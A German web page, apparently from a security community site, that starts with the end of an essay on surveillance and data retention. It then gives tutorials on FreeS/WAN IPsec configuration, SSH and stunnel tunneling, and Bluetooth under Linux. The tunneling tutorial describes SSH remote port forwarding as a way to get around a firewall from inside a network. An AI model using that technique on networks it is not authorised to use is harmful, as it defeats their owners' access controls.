Sollte die Entwicklung so weiter gehen, dann besteht die Gefahr, dass man eines Tages aufwacht und "jemand" hat die absolute Kontrolle über den eigenen Rechner und das was dort drin und drauf ist, was man wann abspielen darf, was man sich für Informationen oder Meinungen ansehen darf, um ein guter Bürger zu sein und unerwünschte Meinungen und Informationen können bequem und zentral unterdrückt werden.

Schüler können mit kontaktlosen Smart Cards kontrolliert werden und die auf der Smart Card gesammelten Daten werden gewinnbringend an irgendwelche Marketingfirmen übermittelt. Aber beim Punkte sammeln mit Payback oder HappyDigits bei der Telekom und comfort Punkte bei der Bahn gibt man ja heutzutage schon freiwillig seine Daten zur Auswertung frei.

Behörden können auf Verdacht oder vielleicht auch durch Datenspeicherung im Voraus genau raus bekommen in welchem öffentlichen Verkehrsmittel man sich gerade befindet und wo man die letzte Zeit so rum gefahren ist. Provider speichern aufgrund des Anti Terrorgesetzes noch Jahre später welche Webseiten man sich angeschaut hat und dann nimmt sich ein BKA Beamter die "Zeit" und speist diese ganzen Daten zusammen mit Telefon- und Bankverbindungsdaten in sein neues Datenanalyseprogramm Watson (MP3-Mitschnitt des Vortrages auf dem 18C3) ein und sortiert den braven Bürger bequem in eine Gefahrenstufe - hoffen wir mal, dass die Software keinen Bug hat oder sich irgendwelche "komischen Umstände" zugetragen haben...

Wenn man dann auf die Arbeit geht und ein Schild entdeckt "Dieses Software-Unternehmen wurde geschlossen", weil es einen Rechtsstreit in Sachen Softwarepatentierung mit einem großen Unternehmen verloren hat, na dann kann ich doch einfach nur von "Fortschritt" sprechen!

Man kann absolut realistisch behaupten, dass fast alle diese Maßnahmen (vor allem zusammen) ein ungeheures Potenzial für Zensur- und Überwachungsmaßnahmen bieten, was nicht zwingender weise auch heißen muss, dass sie alle dafür eingesetzt werden müssen...

Nun wie viele dieser neuen Gesetze und Technologien soll man noch mit einem müden Lächeln oder der Einstellung "Das schützt mich vor Terroristen, das ist nur gut gemeint" hinnehmen? Man könnte jetzt darauf hinweisen, dass einige der Gesetze schon vor dem 11. September entstanden sind, es aber nicht geschafft haben, weil sie datschschutztechnisch viel zu bedenklich oder gar verfassungswidrig waren ...bis sich niemand mehr traute nein zu sagen.

An dieser Stelle ist ein Zitat von Benjamin Franklin, einer der Gründungsväter der Vereinigten Staaten, angebracht: Wer die Freiheit aufgibt, um Sicherheit zu gewinnen, wird beides verlieren. Oder ein Zitat von John Perry Barlow von der Electronic Frontier Foundation: Das Digital Rights Management von heute ist das Political Rights Management von morgen. Georg Greve nennt die momentane Entwicklung: Der Kampf gegen das Informationszeitalter. Vielleicht sagt auch der eine oder andere: Willkommen in der neuen alten Welt!.

Wenn nun einer denkt, das wird das Datenschutzgesetz schon alles zu verhindern wissen, dann können wir nur darauf hinweisen, dass Datenschützer seit dem 11. September nur noch (berechtigt) am schreien sind -- ihnen scheint allerdings keiner mehr zuzuhören...


Eventuell noch interessant dazu:

IPsec verstehen und nutzen

(balle)

Um IPsec verstehen zu können, solltest Du wenigstens Grundkenntnisse über Verschlüsselungsverfahren und über Netzwerke und das ISO/OSI Schichtenmodell haben. Falls Du die nicht drauf hast, lies am besten mal folgende Artikel:

IPsec bietet Möglichkeiten Netzwerktraffic auf IP Ebene (Layer 3) zu verschlüsseln und zu authentifizieren. D.h. alle Transport- bzw. Applicationlayerprotokolle höherer Ebene wie z.B. TCP/UDP (für die Transportschicht) oder FTP, SMTP usw. (für die Anwendungsschicht) können mit IPsec abgesichert werden.

Das bietet mehr Sicherheit als z.B. ein unsicheres Plain Protokoll der Anwendungsschicht (SMTP) mit einem sicheren Protokoll der gleichen Schicht (SSH) zu tunneln, weil im Falle von IPsec auch garantiert wird, dass die Header der Transport- und Vermittlungsschicht nicht manippalawanert wurden (Beispiel: IP Spoofing, Man-in-the-middle Attack). Bei IPsec handelt es sich keineswegs um ein einzelnes Protokoll, sondern um eine ganze Protokollsammlung. Und es ersetzt auch nicht das IPv4 Protokoll, sondern ergänzt es!

Zur Authentifizierung und Verschlüsselung kann IPsec zwei unterschiedliche Protokolle verwenden: AH (Authentication Header) oder ESP (Encapsulating Security Payload).

Bei der Verwendung von AH wird nur sicher gestellt, dass an den Headern der höheren Schichten nichts manippalawanert wurde. Verschlüsselung des Payloads kommt erst bei der Verwendung von ESP ins Spiel! Wahlweise kann man ESP auch ohne Authentifizierung bzw. Verschlüsselung verwenden, aber erst beide Features zusammen garantieren einem maximale Sicherheit!

AH und ESP werden bei FreeS/WAN durch KLIPS (Kernel IPsec) direkt in den Kernel implementiert.

Dann kommt bei IPsec noch ein weiteres Protokoll zum tragen: IKE (Internet Key Exchange). Wie der Name schon sagt wird dieses Protokoll für den automatischen Austausch von Schlüsseln und anderen Verschlüsselungsoptionen wie z.B. der Frage wird AH oder ESP verwendet oder welcher Verschlüsselungs- typ bzw. -algorythmus wird mit welcher Schluessellänge verwendet, wie lang ist die Lebensdauer der Schlüssel usw.

Das IKE Protokoll wird bei FreeS/WAN durch den PLUTO Daemon implementiert. Diese ganzen Verschlüsselungsoptionen werden von IPsec separat fuer jede Verbindung als sogenannte SA (Security Association) in einer SAD (Security Association Database) gespeichert. Das heisst auf gut Deutsch: Man kann für jede Verbindung zwischen zwei oder mehr Rechnern / Netzen verschiedene Verschlüsselungsoptionen verwenden.

Dann kann es noch sein, dass man im Zusammenhang mit IPsec oder IKE etwas von dem Protokoll ISAKMP (Internet Security Association Key Management Protocol) liest. Hier sei nur kurz erwähnt, dass dieses Protokoll für das Management der SAs zuständig ist und vom IKE Protokoll verwendet wird. Für mehr Informationen über den Aufbau von IPsec lies am besten folgendes:

In den meisten Fällen wird IPsec dazu verwendet VPNs zu realisieren. Ein VPN (Virtual Private Network) ist ein sicherer (verschlüsselter und authentifizierter) Zusammenschluss von mehreren Rechnern / Netzen über ein als unsicher klassifiziertes Netz (z.B. das Internet). Oder auf gut Deutsch: Du "stöpselst" zwei Kisten / Netze sicher zusammen und benutzt sie als eins... Für mehr Informationen über VPNs lies am besten die VPN FAQ.

Mit IPsec kann man allerdings auch im internen Netz den Traffic absichern, indem jeder Rechner ausschliesslich IPsec zur Kommunikation verwendet. IPsec ist ebenfalls eine gute Wahl, wenn man dem unsicheren WEP nicht zutraut das WLAN zu schützen oder um einem Aussendienstmitarbeiter sicheren Zugangs ins Firmennetz zu gewähren.

So voll geschmissen mit allen möglichen Abkürzungen, Theorie und Definitions- krempel kommt jetzt endlich der praktische Part! Also kurz in die Haende spucken, nen Bier oder ne Jolt holen und los geht's! Lade Dir die Sourcen von freeswan.org und entpacke sie.

Danach führst Du den Befehl make menugo aus, um die Userspace Tools zu installieren und die Kernel Sourcen zu patchen und neu zu compilieren. Wenn Du die Fehlermeldung "Cannot find gmp.h" oder so bekommst, dann musst Du noch die GMP Library installieren. Die Library bekommst Du hier Nach der Installation und dem Reboot mit dem neuen Kernel kann man folgendermaßen testen ob IPsec im Kernel funktioniert: ipsec verify. Du solltest jetzt auch ein paar IPsec Informationen des Kernels unter /proc/net finden...

Für FreeS/WAN gibt es zwei Configfiles: ipsec.conf und ipsec.secrets. In ipsec.secrets befindet sich nach der Installation ein frisch generiertes RSA Schlüsselpaar, das für die Authentifikation verwendet wird. In ipsec.conf konfiguriert man alle FreeS/WAN Einstellungen sowie die gewünschten Verbindungen.

Eine Beispiel Konfiguration, um einen internen Rechner via IPsec mit dem Gateway zu verbinden, sieht so aus:

# basic configuration
config setup
interfaces="ipsec0=eth0"
plutodebug=none
klipsdebug=none
syslog=NOTICE
plutoload=example
plutostart=example
plutowait=no
# Example Connection
conn example
auto=start
type=tunnel
authby=rsasig
left=192.168.3.34
leftsubnet=192.168.3.34/32
leftrsasigkey=left-rsa-key
leftid=192.168.3.34
right=192.168.3.32
rightsubnet=0.0.0.0/0
rightrsasigkey=right-rsa-key
rightid=192.168.3.32
keyexchange=ike
keylife=900s
ikelifetime=1200s
keyingtries=5
rekeymargin=150s

In der Sektion setup konfiguriert man generelle Einstellungen. interfaces="ipsec0=eth0" gibt an, dass das erste IPsec Interface eth0 sein soll. Weitere trennt man via Leerzeichen. Oder man verwendet %defaultroute, wenn man die Verbindungen über das Device, über das die Defaultroute geht, benutzen möchte.

plutodebug=none, klipsdebug=none, syslog=NOTICE dient dem Logging. Wenn man statt none all einträgt, dann findet man unter /var/log/messages jede Menge Debugmeldungen des Plutodaemon und der Kernel Ipsec Architektur.

plutoload=example, plutostart=example, plutowait=no gibt an, dass der Pluto Daemon die Verbindung example sofort laden und starten soll ohne zu warten. Verwendet man das Schlüsselwort %search, dann startet der Pluto Daemon automatisch alle Verbindugen, die auto=start (siehe weiter unten) definiert haben.

Mit dem Parameter conn configuriert man eine Verbindung. Wird als Verbindungsname %default angegeben, gelten die nachfolgenden Einstellungen für alle Verbindungen. Der Verbindungsname ist ansonsten frei wählbar. Genauso kann man eine Verbindung definieren, deren Einstellungen nur für mehrere andere Verbindungen gelten soll. Dann muss man diese Einstellungen in der gewünschten Verbindung mit also=Verbindungsname laden.

auto=start gibt an, dass die Verbindung automatisch gestartet werden soll. Falls einer der Kommunikationspartner nicht immer am Netz sein sollte, kann man die Verbindung nicht automatisch aufbauen lassen. In diesem Fall benutzt man auf dem VPN Gateway, das immer online ist das Schlüsselwort add, welches angibt, dass die Gegenseite die Verbindung aufbaut. Eine Verbindung wird über den Befehl ipsec auto --add Verbindungsname geladen und über ipsec auto --up Verbindungsname initiiert (über den Parameter --down wird die Verbindung dann wieder geschlossen).

type=tunnel gibt den Typ der Verbindung an. Man verwendet den Verbindungstyp Tunnel, wenn die Verbindung zwischen zwei Gateways aufgebaut werden soll, die den Traffic an das jeweilige Subnet weiter leiten sollen (Host to subnet oder Subnet to subnet Verbindungen). Bei Host to Host Verbindungen verwendet man den Typ Transport.

authby=rsasig signalisiert, dass die Authentifikation über RSA geschehen soll. Falls man für die Authentifikation Preshared Keys verwenden möchte, wählt man statt rsasig secret. Mehr dazu im Abschnitt Keying weiter unten.

left=192.168.3.34, leftsubnet=192.168.3.34/32 definiert den lokalen Rechner und das dahinter liegende Subnet. In diesem Fall gibt es kein dahinter liegendes Subnet, weil der lokale Rechner kein Router ist!

leftrsasigkey=left-rsa-key, leftid=192.168.3.34 konfiguriert den lokalen RSA Key und ID. Dazu gleich mehr...

Das selbe wird jetzt noch für die remote Seite mit right statt left eingestellt. Die Remote Seite ist in diesem Beispiel ein Gateway. Das sieht man an dem Parameter rightsubnet=0.0.0.0/0. Also das "Subnet" was hinter diesem Gateway liegt, ist das komplette Internet. Man kann statt IP Adressen auch Hostnamen eintragen, allerdings muss DNS dann natürlich einwandfrei zwischen den Verbindungspartner funktionieren und das auflösen mindert auch ein wenig die Geschwindigkeit... Sollte die IP und das Subnet eines Verbindungspartners egal sein oder kennt man es schlicht weg nicht, weil es sich um eine dynamische IP handelt, dann verwendet man das Schlüsselwort %any.

Die Einstellungen ab keyexchange=ike konfigurieren wie die Schlüssel für die Verschlüsselung und Authentifikation der Verbindung generiert und ausgetauscht werden sollen und wie oft neue Schlüsselpaare generiert werden.

Mit der Konfiguration wie oben beschrieben gibt es allerdings noch ein kleines Problem... Die Remote (right) Seite, also der VPN Gateway, ist eine Firewall, die auch NAT verwendet. Mit der obigen Konfiguration funktioniert zwar das Weiterleiten der Pakete in die weite Welt, wenn man allerdings versucht auf den Gateway selbst zu zu greifen z.B. für DNS, dann wird das fehlschlagen! Dazu gibt es aber auch noch einen Parameter: left bzw rightfirewall=yes je nachdem welche Seite eine Firewall ist. NAT darf übrigens nicht nach dem VPN Gateway statt finden, weil sonst die Authentifikation der Datenpakete auf der Gegenseite fehl schlagen wird, weil irgendwelche Adressen umgeschrieben wurden! Natürlich muss die Firewall den für IPsec nötigen Traffic auch durch lassen. Für die hier vorgestellte Konfiguration muss man folgende IPtables Regeln implementieren:

# IKE
iptables -A INPUT  -p udp --dport 500 -j ACCEPT
iptables -A OUTPUT -p udp --sport 500 -j ACCEPT

# ESP
iptables -A INPUT -p 50 -j ACCEPT
iptables -A OUTPUT -p 50 -j ACCEPT

Die erforderlichen IPtables Regeln können auch automatisch vor dem Verbindungsaufbau geladen und nach dem Verbindungabbau wieder entfernt werden. Dazu verwendest Du die beiden Befehle prepluto und postpluto und schreibt die Regeln in ein kleines Bashscript. prepluto=ipsec_rules.sh Wenn IPtables Regelsätze nur für eine bestimmte Verbindung automatisch geladen werden sollen, dann verwendet man in der conn Sektion die Parameter leftupdown bzw. rightupdown=script. Die kann man allerdings nicht mit dem Parameter left- bzw. rightfirewall kombinieren! Last but not least: Optional kann man auch noch den gesamten Datenverkehr komprimieren. Dies geschieht ganz einfach ueber den Parameter compress=yes.

Wie kommt man nun an die Einträge für leftrsasigkey und rightrsasigkey? RSA basiert auf dem Public Key Verfahren, d.h. man hat einen geheimen und einen öffentlichen Schlüssel. Das VPN Gateway muss ein Schlüsselpaar generieren und den public Key sicher an seine Clients verteilen. Jeder Client muss auch wiederum ein RSA Schlüsselpaar generieren und den Public Key dem VPN Gateway bekannt geben.

Sollte man auf dem Client oder VPN Gateway noch kein Schlüsselpaar unter /etc/ipsec.secrets finden, kann man mit ipsec newhostkey --output /etc/ipsec.secrets einen generieren. Dies erzeugt ein 2192 Bit RSA Schlüsselpaar. Mit dem Parameter --bits kann man das natürlich auch anpassen. Und mit dem Parameter --hostname kann man auch noch angeben für welchen Rechner das Schlüsselpaar generiert werden soll.

Über ipsec showhostkey --left > public.key extrahiert man den öffentlich Key in die Datei public.key. Dieser Key wird direkt in dem richtigen Format als leftrsasigkey für die ipsec.conf raus gespuckt.

Mit ipsec showhostkey --right > public.key bekommt man den Public Key im rightrsasigkey Format.

Diesen Key trägt man lokal als leftrsasigkey ein und überträgt ihn zum anderen Verbindungspartner, der ihn dann als rightrsasigkey eintragen muss. Das hier verwendete Verfahren basiert auf einem automatischen Schlüsselaustausch Verfahren mit einem asymmetrischen Verschlüsselungsalgorytmus (Public Key Verfahren). Es gibt auch die Möglichkeit des manuellen Schlüsselaustausches oder des automatischen mit symmetrischer Verschlüsselung, doch beide andere Verfahren sind unsicherer als das hier benutze. Wenn die Performance zu sehr leiden sollte, dann verwendet man am besten automatischen Schlüssel- austausch mit symmetrischer Verschluesselung (Preshared Keys genannt in der FreeS/WAN Doku). Von manuellem Schlüsselaustausch ist abzuraten und dient höchstens dem Debugging oder wenn die Gegenseite keinen automatischen Schlüsselaustausch unterstützt.

Einen neuen Preshard Key erzeugt man mit dem Befehl ipsec ranbits und teilt ihm über den --bytes Parameter die Schlüssellaenge mit. Preshared Keys werden im Gegensatz zu den Public Keys in der Datei /etc/ipsec.secrets nach folgendem Schema eingetragen: left right: PSK "key" Hier ein Beispiel:

10.0.0.1 11.0.0.1 : PSK "jxTR1lnmSjuj33n4W51uW3kTR55luUmSmnlRUuWnkj" Der Preshared Key muss genau wie der Public Key beiden Kommunikationspartner sicher bekannt gemacht werden! Also z.B. über eine mit PGP / GnuPG verschlüsselte E-Mail oder via scp.

Auf beiden Seiten muss IP Forwarding aktiviert sein! Und es darf kein Source Validation im Kernel aktiv sein! Das erreicht man mit folgenden Veränderungen im /proc Dateisystem:

echo 1 > /proc/sys/net/ipv4/conf/ip_forward
echo 0 > /proc/sys/net/ipv4/conf/eth0/rp_filter

Man kann IP Forwarding auch von IPsec automatisch einstellen lassen, indem man in der Configdatei /etc/ipsec.conf in der Setup Sektion den Parameter forwardcontrol=yes verwendet. Das ist per Default ausgestellt. Und /etc/init.d/ipsec start wird fehlschlagen, wenn man Source Validation noch aktiviert hat!

Unter Debian wird das normalerweise beim Booten angeschaltet und kann in der Datei /etc/network/options abgewürgt werden. Hier noch ein paar typische Fehlermeldungen auf die man stossen könnte:

route-host command exited with status 7

Dann solltest Du mal Deine Subnetparameter überprüfen.

route-client command exited with status 7

Kann es sein, dass Du einen *nexthop Eintrag vergessen hast? Das kann auf dem ersten Blick für etwas Verwirrung sorgen... Wenn Du z.B. wie ich einen Dialup Host mit einem anderen Rechner, der über ne DSL Flat online ist, zusammen schalten willst, dann connecten sich die beiden Rechner nicht direkt zueinander, sonder immer über den entsprechenden Default Router des Providers! Und den musst Du als leftnexthop eintragen!

[subnet]----[dial-up]--->[router_des_providers]--->{ Internet }--->[dsl-flat]----[subnet]

leftsubnet left leftnexthop right rightsubnet

Wenn Du über eine dynamische IP ans Netz angebunden bist, dann trage als leftnexthop am besten %defaultroute ein.

up-client command exited with status 127

Diese Fehlermeldung bedeutet, dass das _updown Script, welches ausgeführt wird, wenn Du leftfirewall oder rightfirewall auf yes gesetzt hast, nicht die entsprechenden Firewall Regeln eintragen konnte. Das Script funktioniert nur für ipfwadm und ipchains! Wenn Du z.B. IPtables verwendest, dann kommentiere die entsprechenden Zeilen aus /usr/local/lib/ipsec/_updown aus und trage sie selbst in Deine Firewall Regeln ein wie oben beschrieben!

Mit dem Befehl ipsec look Verbindung bekommt man einige Informationen über die Verbindung wie z.B. die Routingtabelle und über ipsec auto --status minimale Debugmeldungen des Schlüsseldaemons Pluto. Für mehr Debugmeldungen verwendet man den Befehl ipsec barf oder stellt die Debugging Meldungen von KLIPS und dem Pluto Daemon in /etc/ipsec.conf auf all.

Ein Blick in /var/log/messages oder ins Proc Dateisystem unter /proc/net kann auch nicht schaden...

Ansonsten testet man die Verbindung wie jede andere Netzwerkverbindung auch via ping, traceroute oder Sniffer usw.

Tunneling Traffic

(balle)

Es gibt verschiedene Gründe warum Du Deine Daten nicht für jeden lesbar und ohne Authentifizierung auch für jeden veränderbar durch ein Netzwerk schicken möchtest. Wenn Du in einem als unsicher eingestuften Netz hängst und mal kurz z.B. Deine Mails checken möchtest, aber das Pech hast, dass Dein E-Mail Server kein SSL unterstützt, dann hast Du immer noch ne Chance Deinen Traffic zu verschlüsseln und die Verbindung zu authentifizieren. Ich stelle hier zwei verschiedene Möglichkeiten vor Tunnel auf zu bauen: SSH und Stunnel (über OpenSSL).

Um sicher zu gehen, dass Du keiner Man-in-the-middle Attacke zum Opfer fällst, solltest Du vorher ein X.509 Zertifikat des Verbindungspartners im Gepäck haben.

Noch schöner wär es, wenn Du die IP des entfernten Rechners in der /etc/hosts stehen hast und die MAC Adresse des internen Gateways kennst, sie statisch in Deinen ARP Cache schreibst und auch nur Pakete zu dieser MAC Adresse routest.

Wie schon erwähnt: Besorge Dir die IP und ein Zertifikat von Deinem Verbindungspartner am besten indem Du Dich aus einem vertrauenswürdigen Netz über eine SSL gesicherte Verbindung zu diesem connectest und das Zertifikat bis zu seinem Verfallsdatum akzeptierst und speicherst.

Falls Du eine Verbindung das erste Mal aus einem unsicheren Netz öffnest, könntest Du schon Opfer einer Man-in-the-middle Attacke geworden sein und der Angreifer schiebt Dir sein Zertifikat unter, welches Du fälschlicher Weise als vertrauenswürdig akzeptieren könntest. .oO( Zuviel Konjunktiv ) Wenn Du das Zertifikat vorher schon gesichert hattest und eine Fehlermeldung bekommst, dass es sich geändert hat, brich entweder sofort die Verbindung ab oder schmeiss nen Sniffer an und schau Dir den Traffic Deiner Verbindung an! Achte dabei z.B. auf DNS Spoofing Attacken:

tcpdump host dns-server and port 53

Wenn Du zwei DNS Responses vom "DNS Server" für einen Request bekommst, dann is wohl offensichtlich was faul.

Deshalb solltest Du die IP auch vorher zusammen mit dem DNS Eintrag in die /etc/hosts eintragen. Das schützt Dich schon mal vor DNS Spoofing Attacken zu diesem Rechner, weil /etc/hosts immer vor dem DNS Server nach der IP befragt wird.

Es gibt bei SSH Verbindungen auch die Möglichkeit, dass Du bisher immer über SSH2 mit einem Rechner verbunden warst und somit nur seinen DSA Key von dem entfernten Rechner kennst.

Ein Angreifer könnte z.B. über ARP Poisoning die Verbindung auf einen von ihm kontrollierten SSH Server, der nur Protocol Version 1 spricht, umleiten und so versuchen Dir einen neuen Public Key unter zu schieben. Für mehr Informationen über diesen Angriff lies am besten mal den Artikel über SSHarp im Phrack Magazin 59.

Deshalb stell die Protokoll Version ein mit der Du Dich connecten willst, falls Du einen Tunnel über SSH auf baust und achte auf jeden Fall auf ARP Poisoning Attacken:

tcpdump arp

Sollte ein bestimmter Rechner Dir alle paar Sekunden mitteilen, dass er eine bestimmte MAC Adresse hat, dann sperre kurz mit IPtables sämtliche Packete der IP und überprüfe manuell, ob die IP auch wirklich zu dieser MAC Adresse gehört:

iptables -A INPUT -m mac --mac-source fragliche-mac -j DROP
arp -d fragliche-mac
ping -c 1 ip-zu-fraglicher-mac
arp -a

Wenn die Werte übereinstimmen, kannst Du die Iptables Regel wieder löschen (iptables -F).

Außerdem könnte Dir jemand mit einem gespooften ICMP Paket einen anderen Standard Gateway in die Routing Tabelle haun. Damit Du keine Pakete an diesen falschen Router schickst, solltest Du folgende Iptables Regel implementieren:

iptables -A INPUT -p icmp -j DROP

Dann musst Du zwar selbst raus bekommen, wenn der Verbindungspartner offline ist bzw. manche Dienste funktionieren vielleicht auch nicht ohne ICMP, aber ein Angreifer kann Dir weder einen anderen Gateway eintragen noch die Verbindung über ICMP Redirect Pakete umlenken.

Jetzt solltest Du die grösst mögliche Sicherheit geschaffen haben, um einen Tunnel zu Deinem Verbindungspartner sicher aufbauen zu können.

Wenn Du Deine Verbindung über SSH tunneln möchtest, dann brauchst Du einen Account und einen offenen SSH Port auf der Maschine, zu der Du einen Tunnel aufbauen willst.

ssh -L 5555:remote-machine:25 user@remote-machine

Das verbindet den lokalen Port 5555 mit dem entfernten port 25 und nutzt SSH als Proxy.

[local]-[5555]-->[ssh]----->[remote]-[ssh]--->[25]

Jetzt kannst Du Dich lokal auf den Port 5555 verbinden und wirst transparent auf die entfernte Maschine zu Port 25 weiter geleitet. telnet localhost 5555.

Auf diese Weise kannst Du Dich auch zu einem SMTP (oder was auch immer) Server connecten, der nicht zwingenderweise auf dem Kasten laufen muss, der Dir SSH zur Verfügung stellt.

ssh -L 5555:smtp.remote.com:25 user@ssh-remote

[local]-[5555]-->[ssh]------>[ssh-remote]-[ssh]---->[smtp-remote]-[smtp]

Aber Du solltest beachten, dass der Traffic nur zwischen den beiden Rechner verschlüsselt ist!

Wenn jemand auf der lokalen oder einer entfernten Maschine einen Sniffer laufen hat, dann kann er immer noch alles mitlesen...

Bisher hast Du den Port (Socket) immer auf dem lokalen Rechner auf gemacht, man kann ihn aber ebenso gut auf dem entfernten Rechner öffnen indem man -R statt -L verwendet.

ssh -R 5555:localhost:25 user@remote

Man muss sich halt nur im Klaren sein von wo aus die Verbindung aufgemacht werden soll.

Wenn der Client auf dem lokalen Rechner läuft, dann benutzt Du -L für lokales Port Forwarding und wenn er auf dem entfernten Kasten läuft -R für Remote Port Forwarding.

Remote Port Forwarding kann aber auch verwendet werden, um eine Firewall von intern bzw. aus einer DMZ zu umgehen.

[inside]-[blocked_port]-->[ssh]------->[firewall]----->[outside]-[5555]

Wenn die Firewall keine SSH Zugriffe von extern zu lässt, dann muss man den SSH Server halt auf nem Port lauschen lassen, den die Firewall für in Ordnung hält...

Aber was machst Du, wenn Du keinen SSH Server auf den Rechnern findest, zwischen denen Du eine getunnelte Verbindung aufmachen möchtest? Keine Panik! ;)

Du bekommst schon noch Deine sichere Verbindung! Die Lösung heisst Stunnel. Auf dem Kasten zu dem Du Dich connecten willst führst Du folgendes aus:

stunnel -d 5555 -r 25

Das bindet den Port 5555 an den Port 25. Auf dem lokalen Kasten machst Du dann die Verbidnung auf:

stunnel -c -d 2323 -r remote-host:5555

Jetzt kannst Du Dich lokal auf den Port 2323 verbinden und wirst wieder transparent zu der entfernten Maschine auf Port 25 weiter geleitet.

[local]-[2323]------->[remote]-[5555]-->[25]

Stunnel verwendet SSL/TLS also muss eine SSL Bibliothek wie z.B. OpenSSL installiert sein.

Wenn das Tool schon SSL verwendet, dann kann man aber auch gleich noch Zertifikate nutzen, damit sich die beiden Rechner auch ausweisen können. Dazu verwendet man einfach den Parameter -v ssl-version. Vorher muss man natürlich ein Zertifikat generieren: openssl req -new

Wie man Zertifikate mit OpenSSL erstellt, kann man z.B. hier nachlesen. Das schützt Dich aber immer noch nicht unbedingt gegen Hijacking (Man-in-the-middle) Attacken aus dem lokalen Netz.

Du solltest auf jeden Fall die Augen offen halten nach merkwürdigen oder unbekannten Zertifikaten.

OK. Jetzt kannst mit oder ohne SSH Deinen Traffic zwischen zwei Rechnern verschlüsseln und authentifizieren, aber was machst Du, wenn Du Dich zu einem SSL verschlüsselten Service verbinden willst, aber Dein Client unterstützt gar kein SSL?? Das ist easy!

stunnel -d 2323 -r remote-host:ssl-port

Oder verwende SSL-Proxy... Happy tunneling out there in the galaxy! ;)

Bluetooth for fun and profit

(balle)

Bluetooth ist eine drahtlose Sprach- und Datenübertragungstechnik, die mittlerweile in den verschiedensten Geräten wie Handy, PDA, USB Stick, PCMCIA Karte, Tastatur, Maus, Headset, Drucker usw. zu finden ist. Im Gegensatz zu Infrarot ist Bluetooth nicht auf Sichtkontakt der zu verbindenden Geräte angewiesen und funktioniert mit guter Hardware auch durch Wände hindurch, ist also mit WLAN zu vergleichen und funkt ebenfalls im 2,4 GHz Bereich.

Beim Design von Bluetooth wurde speziell auf eine sichere Implementierung geachtet, so läßt sich die Verbindung verschlüsseln und authentifizieren und die Bluetooth Adresse wird von der Firmware des Bluetooth Geräts und nicht durch den Kernel gesetzt, was das Spoofen dieser Adresse nahezu unmöglich macht. Dennoch tauchten in der Vergangenheit immer wieder Meldung über Sicherheitslücken in den verschiedensten Bluetooth Implementationen von Herstellern wie Nokia und Siemens auf und man liest ständig über Bluejacking. Grund genug sich mal eingehend mit dieser Technologie auseinander zu setzen.

Here we are! :) Dieser Artikel beschreibt sowohl den Bluetooth Protokoll Stack und die Einrichtung von Bluetooth Hardware unter Linux 2.4 / 2.6 als auch typische Anwendungen wie Datenaustausch, Aufbau eines Netzwerks, Scannen nach Devices und Diensten und die Programmierung einfacher Anwendungen unter Verwendung der BlueZ Libraries.

Ein Überblick über den Bluetooth Protokollstack:

Bluetooth

Funk (Bluetooth Radio):

  • 2,4 GHz Ism Band (2400 - 2483,5 MHz)
  • 79 verfügbare Kanäle
  • Sendestärke: 1 mW - 100 mW
  • Reichweite: 1 - 100m
  • Frequenzwechsel nach jedem Paket

SCO / ACL (Bluetooth Baseband):

SCO (Synchonous Connection Oriented) baut eine synchrone verbindungsorientierte Punkt-zu-Punkt Verbindung auf und dient zur Sprachübertragung.

ACL (Asynchonous Connection Less) baut wahlweise eine synchrone oder asynchrone verbindungslose Punkt-zu-Punkt Verbindung auf und dient zur Datenübertragung.

Sowohl SCO als auch ACL werden durch die Firmware des Bluetooth Geräts implementiert.

LMP (Link Manager Protocol)

LMP kann man mit Ethernet vergleichen. Es implementiert die 48 Bit lange Bluetooth Adresse und ist für den Link Setup, die Authentifizierung sowie die Verschlüsselung zuständig. LMP wird durch die Firmware der Bluetooth Hardware implementiert. Einen guten Einblick in die Funktionsweise von LMP gibt es auf Palowireless.com.

HCI (Host Control Interface)

HCI bietet eine einheitliche Schnittstelle zur Bluetooth Firmware und gehört eigentlich nicht direkt zum Bluetooth Protokoll Stack, aber es wird unter anderem dazu verwendet L2CAP Pakete an den Link Manager der Firmware zu senden und ist somit der unterste Layer, der im Kernel implementiert ist. HCI dient außerdem dazu die aktuelle Config und Features sowie den Status des Geräts auszulesen und zu setzen. Die Kommunikation ist paket- und verbindungsorientiert.

L2CAP (Logical Link Control and Adaptation Protocol)

L2CAP kann man mit IP vergleichen. Die Hauptaufgabe dieses Protokolls ist die Fragmentierung, das Groupmanagement und die Implementierung höherer Protokolle wie RFCOMM, SDP oder BNEP. L2CAP baut über ACL eine Verbindung auf, über die dann die Pakete der anderen Protokolle geschleust werden. Auf Palowireless.com findest du mehr über L2CAP.

RFCOMM / SDP / BNEP

RFCOMM simuliert eine serielle Schnittstelle und wird somit z.B. für den Zugriff auf ein Modem, aber auch von weiteren Protokollen wie OBEX verwendet. Mehr zu RFCOMM * SDP (Service Discovery Protocol) dient der Abfrage der auf dem entfernten Device verfügbaren Dienste (Bluetooth Profile). Mehr zu SDP * BNEP kapselt Ipv4, Ipv6 oder IPX Pakete und dient somit für IP bzw. IPX Netzwerke via Bluetooth

Dienste heissen unter Bluetooth Profile. Sie bilden die Application Layer Protokolle einer Bluetooth Verbindung. Hier eine Auflistung der wichtigsten (diese Liste stammt von einem handelsüblichen Siemens S55 Mobiltelefon):

  • Modem Dial-up
  • Fax
  • OBEX File Transfer
  • OBEX Object Push
  • OBEX Synchronisation
  • Headset
  • SerialPort

Einen Überblick über diese und weitere Bluetooth Profile gibt es auf Palowireless.com.

Die Installation / Configuration / Benutzung geht von einem Linux System mit einem 2.4er oder 2.6er Kernel aus! Alle FreeBSDler seien auf das Bluetooth Kapitel des FreeBSD Handbuchs verwiesen. Mac OS X User sollten mit Bluetooth eh keine Probleme haben. ;P

Ok. Erstmal die Geschichte mit dem Kernel. Die BlueZ Treiber sind mittlerweile Bestandteil des offiziellen Kernels, ein patchen entfällt daher. Um sorglos mit Bluetooth spielen zu können solltest Du einfach alles was Dir zum Thema unter die Finger kommt als Modul compilen. Die absolut notwendigen Module, ausgehend von einem Bluetooth USB Stick und vorausgesetzt Du willst alle Beispiele in diesem Artikel nachvollziehen, sind

  • bluez / bluetooth
  • hci_usb
  • hci_uart
  • l2cap
  • rfcomm
  • bnep

Anschliessend installierst Du folgende Bluez Libraries und Tools:

  • bluez-utils
  • bluez-sdp
  • bluez-pin
  • bluez-pan
  • bluez-hcidump

Jetzt solltest Du Dein Bluetooth Device aktivieren können.

hciconfig hci0 up

Sollte das nicht der Fall sein, überprüfe, ob Du auch wirklich alle Kernel Module geladen hast! Mit hciconfig kann man sich außerdem die Eigenschaften seines Bluetooth Devices vergleichbar zu ifconfig anschauen und Verschlüsselung sowie Authentifikation ein- bzw. ausschalten.

hciconfig hci0 noauth noencrypt

